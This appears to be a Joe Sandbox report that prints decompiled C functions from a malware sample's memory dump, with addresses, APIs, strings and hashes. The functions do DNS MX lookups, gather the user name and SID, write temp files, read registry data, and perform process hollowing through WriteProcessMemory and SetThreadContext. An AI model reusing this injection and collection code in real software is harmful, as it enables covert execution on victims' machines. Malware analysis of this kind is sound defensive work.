Opcode Fuzzy Hash: 21e732953ad11bf7d8bbebe2d46ed86e61d65f9d51573b6d474dfa8d3cf1612f
Instruction Fuzzy Hash: E94143B4F40228ABDB28DA91DC46FDAB374AB48744F5040EEF60976285D6786EC0CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00402D21, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 85
memorylibrarystringCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00402D21(intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				char _v28;
				struct HINSTANCE__* _t19;
				_Unknown_base(*)()* _t20;
				long* _t30;
				intOrPtr* _t37;
				long _t39;
				long _t40;
				void* _t41;

				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_t19 = GetModuleHandleA( &_v28);
				_t39 = 0;
				if(_t19 != 0) {
					L3:
					_t20 = GetProcAddress(_t19, "DnsQuery_A");
					if(_t20 == _t39) {
						L2:
						return 0;
					}
					_push(_t39);
					_t35 =  &_v16;
					_push( &_v16);
					_push(_t39);
					_push(_t39);
					_push(0xf);
					_push(_a4);
					if( *_t20() != 0) {
						goto L2;
					}
					_t37 = _v16;
					_v8 = _t39;
					_v12 = _t39;
					if(_t37 == _t39) {
						L14:
						return _v12;
					}
					do {
						if( *((short*)(_t37 + 8)) != 0xf) {
							goto L12;
						}
						_t40 = HeapAlloc(GetProcessHeap(), _t39, 0x108);
						if(_t40 == 0) {
							break;
						}
						E0040EE2A(_t35, _t40, 0, 0x108);
						_t41 = _t41 + 0xc;
						 *(_t40 + 4) =  *(_t37 + 0x1c) & 0x0000ffff;
						_t13 = _t40 + 8; // 0x8
						lstrcpynA(_t13,  *(_t37 + 0x18), 0xff);
						_t30 = _v8;
						_v8 = _t40;
						if(_t30 != 0) {
							 *_t30 = _t40;
						} else {
							_v12 = _t40;
						}
						L12:
						_t37 =  *_t37;
						_t39 = 0;
					} while (_t37 != 0);
					goto L14;
				}
				_t19 = LoadLibraryA( &_v28);
				if(_t19 != 0) {
					goto L3;
				}
				goto L2;
			}

0x00402d31
0x00402d32
0x00402d33
0x00402d39
0x00402d3a
0x00402d40
0x00402d44
0x00402d5b
0x00402d61
0x00402d69
0x00402d54
0x00000000
0x00402d54
0x00402d6b
0x00402d6c
0x00402d6f
0x00402d70
0x00402d71
0x00402d72
0x00402d74
0x00402d7b
0x00000000
0x00000000
0x00402d7d
0x00402d80
0x00402d83
0x00402d88
0x00402deb
0x00000000
0x00402deb
0x00402d90
0x00402d95
0x00000000
0x00000000
0x00402da6
0x00402daa
0x00000000
0x00000000
0x00402db0
0x00402db9
0x00402dc1
0x00402dc7
0x00402dcb
0x00402dd1
0x00402dd4
0x00402dd9
0x00402de0
0x00402ddb
0x00402ddb
0x00402ddb
0x00402de2
0x00402de2
0x00402de4
0x00402de6
0x00000000
0x00402dea
0x00402d4a
0x00402d52
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(00000000,73BCEA30,?,00000000,00402F01,?,004020FF,00412000), ref: 00402D3A
LoadLibraryA.KERNEL32(?), ref: 00402D4A
GetProcAddress.KERNEL32(00000000,DnsQuery_A), ref: 00402D61
GetProcessHeap.KERNEL32(00000000,00000108,000DBBA0), ref: 00402D99
HeapAlloc.KERNEL32(00000000), ref: 00402DA0
lstrcpynA.KERNEL32(00000008,?,000000FF), ref: 00402DCB

Strings

dnsapi.dll, xrefs: 00402D29
DnsQuery_A, xrefs: 00402D5B

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Heap$AddressAllocHandleLibraryLoadModuleProcProcesslstrcpyn
String ID: DnsQuery_A$dnsapi.dll
API String ID: 3560063639-3847274415
Opcode ID: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction ID: e5e1ee734cbcfb8ca4eff609f7c37a2f42b45bda1feb54b0ffc2340cedddb21a
Opcode Fuzzy Hash: d4096c20dd1105e3ef32148a9c5654c80b560ad64ac552135804a6a2b7bfb5e3
Instruction Fuzzy Hash: 25214F7190022AABCB11AB55DD48AEFBBB8EF08750F104432F905B7290D7F49E8587D8

Uniqueness

Uniqueness Score: -1.00%

Function 00406CC9, Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 84
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 80%

			E00406CC9(void* __ecx) {
				_Unknown_base(*)()* _t8;
				CHAR* _t17;
				void* _t18;
				void* _t23;
				char _t25;
				void* _t34;

				_t23 = __ecx;
				if( *0x412e08 != 0) {
					L14:
					return 0x412e08;
				}
				_t8 = GetProcAddress(GetModuleHandleA("kernel32"), "GetSystemWow64DirectoryA");
				if(_t8 == 0) {
					L4:
					if(GetSystemDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
						if(GetWindowsDirectoryA(0x412e08, 0x104) == 0 ||  *0x412e08 == 0) {
							E0040EF00(0x412e08, E00402544(0x4122f8, 0x410664, 0xb, 0xe4, 0xc8));
							E0040EE2A(_t23, 0x4122f8, 0, 0x100);
							_t34 = _t34 + 0x28;
						}
						E0040EF1E(0x412e08, E00402544(0x4122f8, 0x410658, 0xb, 0xe4, 0xc8));
						E0040EE2A(_t23, 0x4122f8, 0, 0x100);
					}
					L10:
					_t17 = 0x412e08;
					goto L11;
					L11:
					_t25 =  *_t17;
					_t17 =  &(_t17[1]);
					if(_t25 != 0) {
						goto L11;
					} else {
						_t18 = _t17 - 0x412e09;
						if( *((char*)(_t18 + 0x412e07)) != 0x5c) {
							 *((char*)(_t18 + 0x412e08)) = 0x5c;
							 *((char*)(_t18 + 0x412e09)) = _t25;
						}
						goto L14;
					}
				}
				_push(0x104);
				_push(0x412e08);
				if( *_t8() == 0 ||  *0x412e08 == 0) {
					goto L4;
				} else {
					goto L10;
				}
			}

0x00406cc9
0x00406cd6
0x00406dbe
0x00406dc1
0x00406dc1
0x00406cee
0x00406cfb
0x00406d12
0x00406d1c
0x00406d40
0x00406d60
0x00406d69
0x00406d6e
0x00406d6e
0x00406d86
0x00406d8f
0x00406d98
0x00406d99
0x00406d99
0x00406d9e
0x00406d9f
0x00406d9f
0x00406da1
0x00406da4
0x00000000
0x00406da6
0x00406da6
0x00406daf
0x00406db1
0x00406db8
0x00406db8
0x00000000
0x00406daf
0x00406da4
0x00406cfd
0x00406cfe
0x00406d03
0x00000000
0x00000000
0x00000000
0x00000000

APIs

GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
GetProcAddress.KERNEL32(00000000), ref: 00406CEE
GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

Strings

PromptOnSecureDesktop, xrefs: 00406CDC, 00406D36, 00406D58, 00406D68, 00406D7E, 00406D8E
kernel32, xrefs: 00406CE2
GetSystemWow64DirectoryA, xrefs: 00406CDD
C:\Windows\SysWOW64\, xrefs: 00406CC9, 00406CD1, 00406CFE, 00406D05, 00406D13, 00406D1E, 00406D2A, 00406D42, 00406D5F, 00406D85

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleModuleProcSystemWindows
String ID: C:\Windows\SysWOW64\$GetSystemWow64DirectoryA$PromptOnSecureDesktop$kernel32
API String ID: 1082366364-2834986871
Opcode ID: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction ID: 283af98db633f334a3c96cb566aa979ace8a56c3c0d7b64ee1e11c7fdc897f47
Opcode Fuzzy Hash: 174e8731fdbdc44ab974895aa40a4ab233de6b35a5efa5658db69bb206ac9e39
Instruction Fuzzy Hash: AC21F26174034479F72157225D89FF72E4C8F52744F19407AF804B62D2CAED88E582AD

Uniqueness

Uniqueness Score: -1.00%

Function 0040977C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82
threadinjectionprocessCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040977C(void* __ecx, CHAR* _a4) {
				struct _PROCESS_INFORMATION _v20;
				void _v24;
				char _v28;
				struct _STARTUPINFOA _v96;
				struct _CONTEXT _v812;
				void* _t33;

				_t46 = __ecx;
				E0040EE2A(__ecx,  &_v96, 0, 0x44);
				_v96.cb = 0x44;
				if(CreateProcessA(0, _a4, 0, 0, 0, 4, 0, 0,  &_v96,  &_v20) != 0) {
					E0040EE2A(_t46,  &_v812, 0, 0x2cc);
					_v812.ContextFlags = 0x10002;
					if(GetThreadContext(_v20.hThread,  &_v812) != 0) {
						_t33 = E0040637C(_entry_, _v20.hProcess,  &_v28,  &_v24);
						_push(0);
						if(_t33 == 0) {
							L4:
							TerminateProcess(_v20.hProcess, ??);
							goto L1;
						}
						if(WriteProcessMemory(_v20, _v812.Ebx + 8,  &_v24, 4, ??) == 0) {
							goto L3;
						}
						_v812.Eax = _v28;
						if(SetThreadContext(_v20.hThread,  &_v812) == 0) {
							goto L3;
						}
						ResumeThread(_v20.hThread);
						return 1;
					}
					L3:
					_push(0);
					goto L4;
				}
				L1:
				return 0;
			}

0x0040977c
0x0040978f
0x004097a9
0x004097b9
0x004097cf
0x004097e1
0x004097f3
0x00409811
0x00409819
0x0040981c
0x004097f6
0x004097f9
0x00000000
0x004097f9
0x00409839
0x00000000
0x00000000
0x0040983e
0x00409856
0x00000000
0x00000000
0x0040985b
0x00000000
0x00409863
0x004097f5
0x004097f5
0x00000000
0x004097f5
0x004097bb
0x00000000

APIs

CreateProcessA.KERNEL32(00000000,00409947,00000000,00000000,00000000,00000004,00000000,00000000,?,?,?,?,PromptOnSecureDesktop), ref: 004097B1
GetThreadContext.KERNEL32(?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097EB
TerminateProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 004097F9
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 00409831
SetThreadContext.KERNEL32(?,00010002,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040984E
ResumeThread.KERNEL32(?,?,?,?,?,?,?,?,?,?,PromptOnSecureDesktop), ref: 0040985B

Strings

PromptOnSecureDesktop, xrefs: 00409785
D, xrefs: 004097A9

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: ProcessThread$Context$CreateMemoryResumeTerminateWrite
String ID: D$PromptOnSecureDesktop
API String ID: 2981417381-1403908072
Opcode ID: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction ID: 6dc29e085b1385aad622296cf5a9b119a202239bcf48ce0aeeb22bf7d7f748db
Opcode Fuzzy Hash: bfc8fb38e21afcc8978dd871529b03129cc6a272bb135abfd583736d5c6f917f
Instruction Fuzzy Hash: 54216DB2901119BBDB119FA1DC49EEF7B7CEF05750F004071B909F2191EB759A44CAA8

Uniqueness

Uniqueness Score: -1.00%

Function 00406F5F, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 89
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00406F5F(long _a4, long _a8) {
				void* _v8;
				long _v12;
				union _SID_NAME_USE _v16;
				void _v84;
				char _v212;
				CHAR* _t36;
				void* _t53;
				intOrPtr* _t54;
				char _t62;
				void* _t65;
				char* _t66;
				intOrPtr _t67;
				CHAR* _t68;
				void* _t69;

				_t68 = _a4;
				 *_t68 = 0;
				if(GetUserNameA(_t68,  &_a8) == 0) {
					return 0;
				}
				_t36 = _t68;
				_t66 =  &(_t36[1]);
				do {
					_t62 =  *_t36;
					_t36 =  &(_t36[1]);
				} while (_t62 != 0);
				_a8 = _t36 - _t66;
				_a4 = 0x7c;
				_v12 = 0x80;
				if(LookupAccountNameA(0, _t68,  &_v84,  &_a4,  &_v212,  &_v12,  &_v16) == 0) {
					L8:
					_a8 = _a8 + wsprintfA( &(_t68[_a8]), "/%d", E00406EDD());
					return _a8;
				}
				E0040EF00( &(_t68[_a8]), "/");
				_a8 = _a8 + 1;
				_push( &_v8);
				_t53 =  &_v84;
				_push(_t53);
				L0040F4AA();
				if(_t53 == 0) {
					goto L8;
				}
				_t54 = _v8;
				_t20 = _t54 + 1; // 0x121
				_t65 = _t20;
				do {
					_t67 =  *_t54;
					_t54 = _t54 + 1;
				} while (_t67 != 0);
				_a4 = _t54 - _t65;
				E0040EE08( &(_t68[_a8]), _v8, _t54 - _t65 + 1);
				_a8 = _a8 + _a4;
				_t69 = _t69 + 0xc;
				LocalFree(_v8);
				goto L8;
			}

0x00406f6c
0x00406f77
0x00406f82
0x00000000
0x00407047
0x00406f88
0x00406f8a
0x00406f8d
0x00406f8d
0x00406f8f
0x00406f90
0x00406f96
0x00406fb3
0x00406fba
0x00406fc9
0x00407025
0x0040703f
0x00000000
0x00407042
0x00406fd6
0x00406fdb
0x00406fe3
0x00406fe4
0x00406fe7
0x00406fe8
0x00406fef
0x00000000
0x00000000
0x00406ff1
0x00406ff4
0x00406ff4
0x00406ff7
0x00406ff7
0x00406ff9
0x00406ffa
0x00407000
0x0040700e
0x00407016
0x00407019
0x0040701f
0x00000000

APIs

GetUserNameA.ADVAPI32(?,0040D7C3), ref: 00406F7A
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,0040D7C3), ref: 00406FC1
ConvertSidToStringSidA.ADVAPI32(?,00000120), ref: 00406FE8
LocalFree.KERNEL32(00000120), ref: 0040701F
wsprintfA.USER32 ref: 00407036

Strings

|, xrefs: 00406FB3
/%d, xrefs: 00407030

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Name$AccountConvertFreeLocalLookupStringUserwsprintf
String ID: /%d$|
API String ID: 676856371-4124749705
Opcode ID: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction ID: 25602f0bb6ce76eb5d01febd46d0227a680cec7408ef54ec30c82d1084126da1
Opcode Fuzzy Hash: a4e95b79f46088df25ad898cee238acd61ae00be348fc6b2bdbab1b8b404bd7d
Instruction Fuzzy Hash: B5313C72900209BFDB01DFA5DC45BDB7BBCEF04314F048166F949EB241DA79EA588B98

Uniqueness

Uniqueness Score: -1.00%

Function 00406BA7, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 43%

			E00406BA7(CHAR* _a4) {
				long _v8;
				long _v12;
				long _t14;
				int _t19;
				void* _t28;
				void* _t39;

				_push(_t30);
				if(IsBadCodePtr( *0x4130ac) == 0) {
					_push( &_v8);
					_push(0);
					if( *0x4130ac() == 0) {
						_t28 = E0040EBCC(_v8);
						if(_t28 == 0) {
							L7:
							_t14 = 0;
						} else {
							_push( &_v8);
							_push(_t28);
							if( *0x4130ac() == 0) {
								_v12 = 0;
								_t39 = CreateFileA(_a4, 0x40000000, 0, 0, 2, 0x80, 0);
								if(_t39 != 0xffffffff) {
									_t19 = WriteFile(_t39, _t28, _v8,  &_v12, 0);
									_push(_t39);
									if(_t19 != 0) {
										CloseHandle();
										E0040EC2E(_t28);
										_t14 = _v8;
									} else {
										CloseHandle();
										DeleteFileA(_a4);
										goto L9;
									}
								} else {
									L9:
									E0040EC2E(_t28);
									_t14 = 0;
								}
							} else {
								E0040EC2E(_t28);
								goto L7;
							}
						}
					} else {
						_t14 = 0;
					}
					return _t14;
				} else {
					return 0;
				}
			}

0x00406bab
0x00406bba
0x00406bc4
0x00406bc7
0x00406bd2
0x00406be4
0x00406be9
0x00406c03
0x00406c03
0x00406beb
0x00406bee
0x00406bef
0x00406bfa
0x00406c1a
0x00406c23
0x00406c28
0x00406c3e
0x00406c44
0x00406c47
0x00406c5a
0x00406c61
0x00406c66
0x00406c49
0x00406c49
0x00406c52
0x00000000
0x00406c52
0x00406c2a
0x00406c2a
0x00406c2b
0x00406c30
0x00406c30
0x00406bfc
0x00406bfd
0x00000000
0x00406c02
0x00406bfa
0x00406bd4
0x00406bd4
0x00406bd4
0x00406c6e
0x00406bbc
0x00406bbf
0x00406bbf

APIs

IsBadCodePtr.KERNEL32 ref: 00406BB2

Strings

PromptOnSecureDesktop, xrefs: 00406BC0

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: Code
String ID: PromptOnSecureDesktop
API String ID: 3609698214-2980165447
Opcode ID: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction ID: deae59b9a6c18e17a8054c2740d34a6eafe128a66e3352cd220e92de8f8b68f4
Opcode Fuzzy Hash: 39c3a5a53f78f07926ecb9a894269625e93d17a87676cf1a9de91011702fa4cf
Instruction Fuzzy Hash: D7218B72208115FFEB10ABB1ED49EDF3EACDB08364B218436F543F1091EA799A50966C

Uniqueness

Uniqueness Score: -1.00%

Function 00409064, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 83
filestringCOMMON

Download Yara Rule

C-Code - Quality: 63%

			E00409064(void* __eflags, void* _a4, CHAR* _a8) {
				long _v8;
				char _v1032;
				signed int _t29;
				signed int _t62;
				void* _t64;

				GetTempPathA(0x400,  &_v1032);
				E00408274( &_v1032);
				_t29 = E0040ECA5();
				_t62 = 9;
				_push(_t29 % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push(E0040ECA5() % _t62);
				_push( &_v1032);
				wsprintfA(_a8, E00402544(0x4122f8, 0x410794, 0xf, 0xe4, 0xc8));
				E0040EE2A(_t62, 0x4122f8, 0, 0x100);
				_t64 = CreateFileA(_a8, 0x40000000, 0, 0, 2, 0, 0);
				if(_t64 <= 0) {
					return 0;
				}
				WriteFile(_t64, _a4, lstrlenA(_a4),  &_v8, 0);
				CloseHandle(_t64);
				return 1;
			}

0x0040907b
0x00409088
0x0040908e
0x00409095
0x0040909c
0x004090a8
0x004090b4
0x004090c9
0x004090ca
0x004090e9
0x004090f8
0x00409114
0x00409118
0x00000000
0x0040913f
0x0040912d
0x00409134
0x00000000

APIs

GetTempPathA.KERNEL32(00000400,?,00000000,PromptOnSecureDesktop), ref: 0040907B
wsprintfA.USER32 ref: 004090E9
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 0040910E
lstrlenA.KERNEL32(00000000,00000100,00000000), ref: 00409122
WriteFile.KERNEL32(00000000,00000000,00000000), ref: 0040912D
CloseHandle.KERNEL32(00000000), ref: 00409134

Strings

PromptOnSecureDesktop, xrefs: 0040906D, 004090C4, 004090DC, 004090F7

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandlePathTempWritelstrlenwsprintf
String ID: PromptOnSecureDesktop
API String ID: 2439722600-2980165447
Opcode ID: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction ID: 58bbe077760212e8da181cf829ffda1a70542de1f4ba4b23f7e3a80b8f6fba70
Opcode Fuzzy Hash: f28af15f22a92dcef6476bc2819c454602b50741f9449e0ae3514995eeab5b50
Instruction Fuzzy Hash: 451175B26401147AF7246723DD0AFEF3A6DDBC8704F04C47AB70AB50D1EAB94A519668

Uniqueness

Uniqueness Score: -1.00%

Function 0042BB27, Relevance: 10.6, APIs: 7, Instructions: 138COMMON

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00437388
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 004373BB
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0043742F

Memory Dump Source

Source File: 00000013.00000002.803277603.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_415000_E2A6.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID:
API String ID: 1901436342-0
Opcode ID: 01ccd6c8e88f55d96157f2339c497a250d8ee4984e61ec236b75a008d370b3b4
Instruction ID: 8f17e6096e70e15a40bd45cb2369e9e0750c8914c907f72aedb507385d304ca5
Opcode Fuzzy Hash: 01ccd6c8e88f55d96157f2339c497a250d8ee4984e61ec236b75a008d370b3b4
Instruction Fuzzy Hash: 14513E70A14118EFCF14DF94C884AEEBBB1FF48314F20915AE4526B691D738AE41DF95

Uniqueness

Uniqueness Score: -1.00%

Function 0040E3CA, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 136
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E3CA(void* __edx, void* _a4, char* _a8, intOrPtr* _a12) {
				int* _v8;
				int _v12;
				void* _v16;
				intOrPtr _v20;
				int _v24;
				int _v28;
				int _v32;
				int* _v36;
				char _v68;
				intOrPtr* _t52;
				int _t69;
				int _t78;
				intOrPtr _t80;
				void* _t82;
				void* _t84;
				void* _t85;
				int _t89;
				void* _t91;
				void* _t92;
				void* _t93;

				_t82 = __edx;
				_v36 = 0;
				if(RegOpenKeyExA(_a4, _a8, 0, 0x20119,  &_v16) != 0) {
					L16:
					return _v36;
				}
				_t52 = _a12;
				_t89 = 0;
				_t6 = _t52 + 1; // 0x4128f9
				_t84 = _t6;
				do {
					_t80 =  *_t52;
					_t52 = _t52 + 1;
				} while (_t80 != 0);
				_t85 = _t52 - _t84;
				_v8 = 0;
				if(_t85 > 0x1c) {
					_t85 = 0x1c;
				}
				E0040EE08( &_v68, _a12, _t85);
				_t56 = _t91 + _t85 - 0x40;
				_v12 = 0;
				_v20 = _t91 + _t85 - 0x40;
				E0040F1ED(0, _t56, 0xa);
				_t93 = _t92 + 0x18;
				if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) != 0) {
					L15:
					RegCloseKey(_v16);
					goto L16;
				} else {
					do {
						_t89 = _t89 + _v12;
						_v8 = _v8 + 1;
						_v12 = 0;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
					} while (RegQueryValueExA(_v16,  &_v68, 0,  &_v24, 0,  &_v12) == 0);
					if(_t89 <= 0) {
						goto L15;
					}
					_v32 = _t89;
					E0040DB2E(_t89);
					_t69 =  *0x4136c4;
					if(_t69 == 0) {
						goto L15;
					}
					_v12 = _t69;
					_v8 = 0;
					while(1) {
						_v28 = _t89;
						E0040F1ED(_v8, _v20, 0xa);
						_t93 = _t93 + 0xc;
						if(RegQueryValueExA(_v16,  &_v68, 0,  &_v24, _v12,  &_v28) != 0) {
							break;
						}
						_t78 = _v28;
						if(_t78 == 0) {
							break;
						}
						_v12 =  &(_v12[_t78]);
						_t89 = _t89 - _t78;
						_v8 = _v8 + 1;
						if(_t89 > 0) {
							continue;
						}
						break;
					}
					_t106 = _t89;
					if(_t89 == 0) {
						E00402544( *0x4136c4,  *0x4136c4, _v32, 0xe4, 0xc8);
						E0040E332(_t82, _t106,  *0x4136c4, _v32);
						_v36 = 1;
					}
					goto L15;
				}
			}

0x0040e3ca
0x0040e3e0
0x0040e3ee
0x0040e528
0x0040e52d
0x0040e52d
0x0040e3f4
0x0040e3f9
0x0040e3fb
0x0040e3fb
0x0040e3fe
0x0040e3fe
0x0040e400
0x0040e401
0x0040e407
0x0040e409
0x0040e40f
0x0040e413
0x0040e413
0x0040e41c
0x0040e421
0x0040e429
0x0040e42c
0x0040e42f
0x0040e43a
0x0040e452
0x0040e51d
0x0040e520
0x00000000
0x0040e458
0x0040e458
0x0040e458
0x0040e45b
0x0040e463
0x0040e469
0x0040e46e
0x0040e484
0x0040e48a
0x00000000
0x00000000
0x0040e491
0x0040e494
0x0040e499
0x0040e4a1
0x00000000
0x00000000
0x0040e4a3
0x0040e4a6
0x0040e4a9
0x0040e4ae
0x0040e4b4
0x0040e4b9
0x0040e4d3
0x00000000
0x00000000
0x0040e4d5
0x0040e4da
0x00000000
0x00000000
0x0040e4dc
0x0040e4df
0x0040e4e1
0x0040e4e6
0x00000000
0x00000000
0x00000000
0x0040e4e6
0x0040e4e8
0x0040e4ea
0x0040e500
0x0040e50e
0x0040e516
0x0040e516
0x00000000
0x0040e4ea

APIs

RegOpenKeyExA.ADVAPI32(80000001,0040E5F2,00000000,00020119,0040E5F2,PromptOnSecureDesktop), ref: 0040E3E6
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,000000C8,000000E4), ref: 0040E44E
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,00000000,80000001,?,?,?,?,?,?,?,000000C8,000000E4), ref: 0040E482
RegQueryValueExA.ADVAPI32(0040E5F2,?,00000000,?,80000001,?), ref: 0040E4CF
RegCloseKey.ADVAPI32(0040E5F2,?,?,?,?,000000C8,000000E4), ref: 0040E520

Strings

PromptOnSecureDesktop, xrefs: 0040E3D0

Memory Dump Source

Source File: 00000013.00000002.803137475.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000013.00000002.803213463.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_400000_E2A6.jbxd

Yara matches

Similarity

API ID: QueryValue$CloseOpen
String ID: PromptOnSecureDesktop
API String ID: 1586453840-2980165447
Opcode ID: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction ID: f21eb42f94b351107ce6bcf9928d909f9cde6c0f887f3b022360bbb50f243882
Opcode Fuzzy Hash: aa9c7803f1892efbeb2ec60484cf553e29528730025646744f8bae12e973cd09
Instruction Fuzzy Hash: D94106B2D00219BFDF119FD5DC81DEEBBB9EB08308F14487AE910B2291E3359A559B64

Uniqueness

Uniqueness Score: -1.00%

Function 00404280, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404280(void* __ecx, intOrPtr _a4) {
				void* _v8;
				unsigned int _v12;
				unsigned int _v16;
				void* _v20;
				intOrPtr _v24;
				char _v28;
				signed int _t35;
				signed int _t38;
				signed int _t40;
				void* _t67;
				void* _t68;
				void* _t73;
				intOrPtr* _t74;

				_t68 = __ecx;
				_t35 = CreateEventA(0, 1, 1, 0);
				_v8 = _t35;
				if(_t35 != 0) {
					_t38 = E00404000(E00403ECD(_t68),  &_v20);
					if(_t38 == 0) {
						L11:
						_t40 = CloseHandle(_v8) | 0xffffffff;
						L12:
						return _t40;
					}
					_t67 = _v20;
					_t40 = _t38 | 0xffffffff;
					if(_t67 == _t40) {
						goto L12;
					}
					_v16 = E0040ECA5();
					E00403F18(_t67,  &_v16, 4, _v8, 0x7d0);
					if(E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0) == 0 || _v12 != (_v16 >> 2) + _v16) {
						CloseHandle(_t67);
						goto L11;
					} else {
						_v12 = _v12 + (_v12 >> 2);
						E00403F18(_t67,  &_v12, 4, _v8, 0x7d0);
						_v28 = 1;
						_t73 = 0xc;
						_v24 = 1;
						E00403F18(_t67,  &_v28, 8, _v8, 0x7d0);
						_t74 = E0040EBCC(_t73);
						 *_t74 = 0x61;
						 *((intOrPtr*)(_t74 + 4)) = 2;
						if(_a4 != 0) {
							 *(_t74 + 8) =  *(_t74 + 8) & 0x00000000;
							 *0x41215a =  *0x41215a + 1;
						} else {
							 *(_t74 + 8) = 1;
						}
						E00403F18(_t67, _t74, _v24, _v8, 0x7d0);
						E0040EC2E(_t74);
						E00403F8C(_t67,  &_v12, 4, _v8, 0x7d0);
						CloseHandle(_v8);
						CloseHandle(_t67);
						_t40 = 0 | _a4 == 0x00000000;
						goto L12;
					}
				}
				return _t35 | 0xffffffff;
			}

0x00404280
0x00404290
0x00404296
0x0040429b
0x004042b1
0x004042ba
0x004043c1
0x004043ca
0x004043cd
0x00000000
0x004043ce
0x004042c0
0x004042c3
0x004042c8
0x00000000
0x00000000
0x004042dc
0x004042e6
0x00404300
0x004043bb
0x00000000
0x00404318
0x00404322
0x0040432c
0x00404333
0x00404336
0x00404342
0x00404345
0x00404350
0x00404359
0x0040435f
0x00404366
0x00404371
0x00404375
0x00404368
0x00404368
0x00404368
0x00404384
0x0040438a
0x0040439a
0x004043ab
0x004043ae
0x004043b5
0x00000000
0x004043b5
0x00404300
0x00000000

APIs

